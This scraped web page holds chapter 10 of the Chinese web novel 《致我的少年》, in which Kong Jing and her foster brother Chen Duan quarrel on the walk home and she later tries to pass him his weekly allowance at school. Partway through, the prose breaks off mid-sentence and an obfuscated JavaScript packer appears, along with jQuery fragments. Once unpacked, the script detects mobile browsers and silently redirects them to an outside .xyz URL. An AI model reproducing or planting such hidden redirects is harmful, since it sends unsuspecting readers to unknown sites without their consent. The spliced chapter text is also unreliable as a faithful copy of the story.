10. 第 10 章

作品:《致我的少年

    孔净一手搭在陈端肩膀上,另一手背在身后提着帆布袋,为了防止贴得太紧,上半身和少年后背空出一道距离。


    很别扭的姿势。


    孔净不舒服,陈端应该也没好到哪儿去。


    孔净说要下去,陈端没吭声。


    孔净动了几下,陈端说:“摔了。”


    孔净“哦”一声,算了,不动了。


    她才发现陈端看着单薄,但实际上肩膀宽阔,手掌按在他一侧斜方肌上,结实而有力。


    就这么一路无话着实有些尴尬,孔净问他:“你有多高?一米八?一米七?”


    “两米。”


    “……”孔净无语,“你说少了,三米我看差不多。”


    陈端轻笑一下,“可能就是三米。”


    孔净说:“我一米六,上周体育课刚量了。”


    陈端捧场:“好高。”


    “没你高。”孔净觉得奇怪,“你不是比我小一岁,怎么长这么快?你爸妈很高吗?”


    “……应该,记不清了。”


    穿过一处密林,老树遮天蔽日,天好像一下就黑了。陈端走得很稳,声音在深暗的环境里听起来有些清虚,像一阵没有来由也找不到归处的风。


    孔净也觉得这个话题太沉重了,她记得那一阵厂里都在传陈端的爸妈不在了,但具体如何从来没听当事人亲口提过。


    腹痛一阵一阵的,有时重有时轻,孔净侧过脸额角轻轻抵在陈端的肩胛骨上,身体随着他的步伐微微晃动,呼吸慢慢放匀。


    霞光钻进眼缝,孔净抬起头,视线穿过前面长长的林间隧道已经能看见瓷砖厂高高耸起的锈红色烟囱。


    她说:“我下来自己走。”


    陈端两手握拳腕骨托着孔净的膝弯,“很快到了。”


    “我知道。”孔净很坚决,另一只拎着帆布袋的手也撑在他的肩膀上,两条腿挣着,“会被看到。”


    陈端一怔,脚步慢下来,问出一直想问的问题:“被看到,会怎样?”


    孔净双脚踩在地上,一时回答不上来,但又觉得答案显而易见,“就是不想被看到啊。我们不是一直都这样?”


    陈端低垂着眼,额发柔软挡在眉骨上方,表情说不上来的冷寂。


    “是,一直。”


    说完,他往前走。


    孔净张了张嘴,想喊他别走那么快,昏暗树影扫在少年远去的身影,转眼就见他拐向出口的岔道,往另一个方向去了。


    察觉到陈端突然的情绪直落,但不明白为什么。


    孔净抿了下唇,一手拽着帆布袋,另一手扯了扯衣服下摆。


    远远看到石厝铁门半敞,孔净路过窗外时伸头朝里看了眼,屋里没人,旁边简棚里传来哗哗水声。


    她悄没声地进屋,刚走到铁架床边,身后就传来李贤梅的声音:“去哪儿了?一天到晚瞎跑,明天就回学校了作业做完了吗?”


    孔净飞快把帆布袋挂在挂钩上,转过身,李贤梅端着一盆刚洗过的空心菜正蹙眉看着她。


    “写完了,下午约了阿禾……”孔净慢慢走过来,有些难以启齿,“妈,我来那——”个了。


    “去外面扯点蒜苗。”孔净说什么,李贤梅根本没注意听,她把空心菜放在灶台上,伸手在墙上取了一块腊肉下来,用刀割下两指宽的一截后又重新挂回去,没听见孔净出去的响动,她转过头,“还杵着干什么?”


    “我……去下厕所。”孔净对上妈妈的表情,想说的话一下被堵了回去,她走到床边从行李袋里掏东西。


    李贤梅没在意孔净在干什么,她只觉得不满,她太累了,家里厂里什么都要她操持,没一个能指望得上。


    她用刀一下重过一下地刮着腊肉皮,拎着腊肉去简棚,看见孔净微微弯着腰往厂里公厕跑去的背影,“拿裤子干什么?到底洗澡还是上厕所?!”


    “……一让干点什么就跑得飞快。有本事大家都不吃不喝当神仙!”


    李贤梅把腊肉丢进水槽,察觉到脚步声,她回头,陈端回来了,他正要进屋,“梅姨。”


    李贤梅不咸不淡地应了声,听见屋里随后响起的电视声音,她俯身用不锈钢球把腊肉翻来覆去地刷,恨不得把皮都刷掉,乌黑水渍溅到衣服上也没理。


    孔净在底下把换下来的裤子洗干净了才回来,晾上之后甩甩手正打算去摘蒜苗,孔大勇回来了,他叫孔净去小卖店拎两瓶冰啤酒回来。


    孔净看一眼站在灶台前把锅铲舞得“吭吭”响的李贤梅,正要开口,陈端从电视机前站起来,“我去。”


    “还是儿砸好!”孔大勇像突然得了什么奖赏,他从兜里掏出用脱了色的皮夹,大方抽出一张绿票子,让陈端想买什么就买什么。


    陈端接过钱,走出门前,李贤梅手里的铲子敲一下锅沿,她忽然转头跟孔净说:“你也去!钱在枕头底下,自己拿!”


    孔大勇最近这段时间神出鬼没的病又犯了,知道李贤梅是在跟自己置气,他笑嘻嘻地又给了孔净二十块,“你们姐弟俩一起,莫说爸爸偏心。”


    孔净身体不舒服,当下唯一的愿望就是躺下来歇一歇,但是她不能不去,她不想忤逆李贤梅和孔大勇中的任何一个,更不想变成李贤梅情绪爆发的缘由。


    孔净和陈端一前一后绕着石材厂的土石路去小卖店,孔净走得很慢,气氛有点怪,她和陈端谁都没有说话。


    也许是因为他们本来就气氛怪,也许是因为孔大勇和李贤梅,又或者只是单纯因为孔净难受不想说话。


    走了小半截,孔净不想走了。


    她捂着肚子坐在路边,前面陈端像是没有发觉似的,狭长影子被淡蓝色天光拽过蜀葵地。


    孔净整个上半身弯折,两手按着腹部,下巴垫在膝盖上,垂眼数着地上路过的蚂蚁。


    可能数到第一千只,也可能是第一千一百只,晚风送来一道脚步声,轻而实。


    她没抬眼,知道是陈端。


    想着等他从面前走过再起身,做个一起出去又一起回来的假象好瞒过孔大勇和李贤梅。


    然而少年瘦高身影进入余光,停在了面前。


    孔净盯着地上那只费力搬运甲虫残尸的蚂蚁,目光微动,最后落在少年的球鞋上。


    光线这么暗,少年露出一半的脚踝却很白,都是吃一样的东西,怎么他皮肤这么好?基因真优越……这么说他应该不是爸爸的儿子吧?因为孔大勇的皮肤是红黑色……


    孔净胡乱想着,眼前突然多出一只手来,手指又长又漂亮,拿画笔时本身就应该是一幅绝佳的画作。


    “给你。”陈端不知道孔净在看什么,掌心里的东西孔净再熟悉不过,一板止痛药。


    孔净这才抬眼看他,陈端移开视线,从拎着的塑料袋里拿出一瓶饮料。


    是最近请了某个大明星代言的新潮饮料,在学校里很风靡,但是孔净没买过,她嫌贵。


    孔净有些意外,手碰到饮料瓶就更吃惊了,“热的?!”


    瓶身潮潮的,应该是陈端找小卖店老板娘用热水温过。


    孔净接过饮料,吞了两片止痛药。


    药片还卡在喉咙里,陈端就已经从面前走过了。


    孔净站起身跟上去,“走慢点。”


    她不记仇,情绪来得快去得也快,显然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317114|183059||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此刻因为一板止痛药和一瓶甜滋滋的热饮,已经将两人之间的别扭又忘了。


    但是陈端并没有因她的要求而慢下步伐,孔净只好追上去。


    “会被看到。”


    陈端提醒她。


    声音冷冷淡淡,和孔净手里的热饮温度极致反差。


    “现在又没人。”孔净心情好起来,因为被关心。


    但显然,这不是陈端想听到的。


    他又问了那句,“所以,被看到会怎样?”


    “没有怎样,你也知道爸妈、我不想……”


    孔净其实也没有认真理清过其中的逻辑,只是动物趋利避害的本能,因为雷达感知这样做会招来危险,所以不这样做,就这么简单。


    陈端没听她说完,静黑的眼眸在暗色光线里闪过一丝厌恶,他厌恶孔净没说明白、他却懂得的东西。


    孔净没看见陈端眼里的情绪,但是她知道陈端生气了。


    她没有做狗皮膏药的潜力,尝试两次见陈端不理,她也就放缓步调随他去了。


    孔净以为陈端不会气太久,事实却恰好相反。


    周一早上她还在刷牙,陈端就进来把自行车推了出去。


    “等、等我……”孔净嘴里还有牙膏,又怕被李贤梅和孔大勇听到,声音很含糊。


    陈端不知道听到没,余光瞥她一眼,翻身骑上自行车就走了。


    孔净到学校,阿禾比她早,等在一班门口着急忙慌地拉开孔净的书包拉链从里面掏作业本。


    阿禾坐在孔净的座位上埋头狂抄,孔净只好站在过道上翻阿禾从文具店租来的书。


    书经过太多手,封皮已经褪色看不清,老板缠了两层透明胶带。孔净以为还和以前一样,翻开没看两页突然瞪大眼睛,她像丢烫手山芋一样把书丢给阿禾,阿禾被书脊碰到,嗷一嗓子令半个班都侧目。


    她在奋笔疾书中飞眼看了下孔净,为了不影响进度憋笑憋得肩膀乱抖,作业本上的字似蝌蚪。


    孔净不理她了,随手拿了本语文书走到教室后门。


    陈端一手垂在身侧指尖拎一杯豆浆,闲闲从操场那边走来,皮肤照在他身上冷玉一样的质地,走廊上有女生惊呼“好帅”、“好梦幻”,孔净轻轻掀起眼皮。


    班级之间是连着的,一班后门紧挨二班前门,孔净站在一班后门想了想,轻声叫他,“陈端……”


    陈端没看见也没听见,径自走进二班前门。


    “……”


    到底在气什么啊?


    走廊上的女生还在犯花痴,孔净心想,才怪,丑八怪!


    孔净回到座位把兜里准备好的东西掏出来,塞进阿禾书包。


    快要打铃了,阿禾笔尖写出了火星子,根本没空去看,嘴却不停,“洗虾米(是什么)?好吃的哦?吼!”


    “不是。”孔净说,“你帮忙拿给他。”


    “他?谁呀谁呀?”阿禾笔尖还在作业本上鬼画符,身体却随语气冲孔净扭了起来,都给孔净同桌看呆了。


    孔净:“反正你拿给他就好了。”


    中午阿禾来找孔净吃午饭,她把早上孔净让她转交给陈端的本周生活费原封不动地还回来,“他不要哦。”


    孔净惊愕,所以陈端气到打算这周喝西北风?


    李贤梅每周给她和陈端每人七十,今早陈端走太早,连生活费也没拿。孔净知道陈端要上网要买画具,所以偷偷匀了十块给他。


    谁知道,他居然不要。


    旁边阿禾戳戳孔净,“是陈端自己不要的哦。不然这样好了啦,我们帮他把钱花了,也算是做善事了。”


    “……”